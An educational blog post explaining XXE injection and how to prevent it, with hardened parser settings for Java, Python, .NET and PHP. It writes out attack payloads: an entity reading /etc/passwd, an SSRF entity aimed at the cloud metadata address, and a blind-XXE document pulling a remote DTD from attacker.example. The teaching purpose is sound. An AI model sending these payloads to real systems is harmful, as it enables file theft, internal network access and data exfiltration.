What is XXE injection and how does it work?

What is XXE injection and how does it work?

XXE injection is a bug that lets an attacker abuse the way an application reads XML. If a parser is set up to resolve external entities, a request that looks like ordinary data can ask the server to open local files, reach internal services, or quietly leak data to a server the attacker controls. This post teaches xxe injection from zero: what XML and a DTD are, what an external entity does, a vulnerable parser, and the small config changes that shut the whole class down.

Start with the parts: XML, DTD, and entities

XML is a text format for structured data. Tags wrap values, and the result looks like this:

<?xml version="1.0"?>
<order>
  <item>notebook</item>
  <qty>3</qty>
</order>

A DTD (Document Type Definition) is an optional block at the top of an XML document that declares rules and reusable pieces. You start it with a <!DOCTYPE> line. Inside a DTD you can define an entity, which is a named shortcut. A normal internal entity is just text substitution:

<?xml version="1.0"?>
<!DOCTYPE order [
  <!ENTITY company "Acme Notes">
]>
<order><buyer>&company;</buyer></order>

The parser sees &company; and swaps in Acme Notes. So far this is harmless. The danger starts with one extra keyword.

What an external entity is

An external entity uses the SYSTEM keyword to pull its value from somewhere outside the document, named by a URI. The parser fetches that URI and inlines whatever comes back. That URI can be a file path or a network address:

<!ENTITY secret SYSTEM "file:///etc/passwd">

If the parser resolves that entity, it reads the file and substitutes the contents. The attacker never touched the disk. They just sent XML, and a misconfigured parser did the reading for them.

How xxe injection actually works against a vulnerable parser

Imagine a typical SaaS app, call it Acme Notes, with an endpoint that accepts an XML body to import notes. The backend parses it with default settings. In Java that often looks like this:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(request.getInputStream());

Nothing here disables external entities, so the parser will resolve them. The attacker sends this body to the import endpoint:

<?xml version="1.0"?>
<!DOCTYPE note [
  <!ENTITY leak SYSTEM "file:///etc/passwd">
]>
<note><title>&leak;</title></note>

The parser reads /etc/passwd and places its contents into the title field. If the app echoes that title back, in a confirmation message or an error, the attacker reads the file in the response. That is the classic file read, and it works because the app trusted the XML to be plain data.

The vulnerability is not in the XML. It is in a parser that was told it may go fetch whatever a document points at.

SSRF through XXE

The external entity URI does not have to be a file. Swap the path for an internal address and the server makes the request for you:

<!ENTITY leak SYSTEM "http://169.254.169.254/latest/meta-data/">

Now the parser sends an HTTP request from inside the network, to a host the attacker could never reach directly. This is server side request forgery (SSRF) riding on top of XXE. It can hit cloud metadata endpoints, internal admin panels, or services that assume any caller from inside the perimeter is trusted.

Blind XXE and out of band exfiltration

Often the app does not echo the parsed value back. There is no field that returns to the attacker, so the file read seems dead. This is blind XXE, and the fix from the attacker side is to send the data somewhere else instead of waiting for it in the response.

The trick uses an external DTD. The malicious document points at a DTD hosted on a server the attacker controls:

<?xml version="1.0"?>
<!DOCTYPE note [
  <!ENTITY % remote SYSTEM "http://attacker.example/evil.dtd">
  %remote;
]>
<note><title>ok</title></note>

That remote evil.dtd reads a local file, then builds a URL with the file contents glued into it and forces the parser to request that URL. The attacker reads the file out of their own web server logs. Nothing came back in the HTTP response, so this is out of band (OOB) exfiltration. I am describing the shape at a high level on purpose. The point is that blind does not mean safe.

How to prevent xxe injection

The good news: this whole class has one root cause and one clean fix. The application almost never needs external entities or a DOCTYPE in user supplied XML. Turn them off and the attack has nothing to stand on.

  • Disable DOCTYPE entirely when you can. If the parser refuses any document with a <!DOCTYPE>, every entity trick above stops at the door.
  • Disable external entities and external DTD loading as a second layer, in case some flow needs DOCTYPE.
  • Prefer a simpler format. If the endpoint only ever receives small structured records, JSON sidesteps entities completely.
  • Patch every parser, not just one. Apps often parse XML in several places, including SOAP, SVG uploads, office document handling, and SAML. One safe parser does not protect the others.

Safe parser config

Here is the same Java factory, locked down. The first line is the one that matters most:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setExpandEntityReferences(false);
DocumentBuilder db = dbf.newDocumentBuilder();

The same idea carries to other stacks. In Python with lxml, build the parser with etree.XMLParser(resolve_entities=False, no_network=True), or use the defusedxml library, which ships with these defenses on. In .NET, set XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit. In PHP with libxml, avoid loading external entities and keep network access off. The wording differs per language, but the goal is identical: no DOCTYPE, no external entities, no network fetches during parsing.

One more habit. Do not rely on a web application firewall to spot these payloads. XML has many encodings and an attacker can nest entities or split the DOCTYPE to dodge a signature. A firewall is a speed bump. The parser config is the wall. For more on injection style bugs and how input crosses a trust boundary, see our writeups under Injection and Input.

Why this is easy to miss

XXE hides because the vulnerable code looks finished. The parser works, valid notes import, tests pass. The risky behavior, resolving an external pointer, only shows up when someone sends a document built to exercise it. That gap between “the app accepts XML” and “the app will fetch whatever the XML points at” is an assumption no one wrote down. This is exactly the kind of bug an autonomous researcher that tests assumptions is built to find, by asking what the parser will do rather than matching a known string. If you want the longer view on that approach, read more on the about page. Turn off the DOCTYPE, confirm it on every parser, and xxe injection stops being a hole you can walk through.

Frequently asked questions

What is XXE injection?

XXE injection abuses the way an application reads XML. If the parser is set up to resolve external entities, a document can ask the server to open local files, reach internal services, or leak data to a server the attacker controls. See the PortSwigger Web Security Academy XXE topic for full walkthroughs.

What is an external entity in XML?

An external entity uses the SYSTEM keyword to pull its value from outside the document, named by a URI such as a file path or a network address. If the parser resolves it, the parser fetches that URI and inlines whatever comes back, which is how an attacker reads files like /etc/passwd without ever touching the disk.

How do you prevent XXE injection?

Disable DOCTYPE processing entirely in user supplied XML where you can, since that stops every entity trick at the door. As a second layer, disable external general and parameter entities and external DTD loading, and apply the same config to every parser in the app, including SOAP, SVG uploads, and SAML handling.

What is blind XXE?

Blind XXE is when the app does not echo the parsed value back, so the file read seems dead. An attacker can still steal data by pointing the document at an external DTD that builds a URL with the file contents and forces the parser to request it, reading the result from their own server logs. This is out of band exfiltration, and it shows that blind does not mean safe.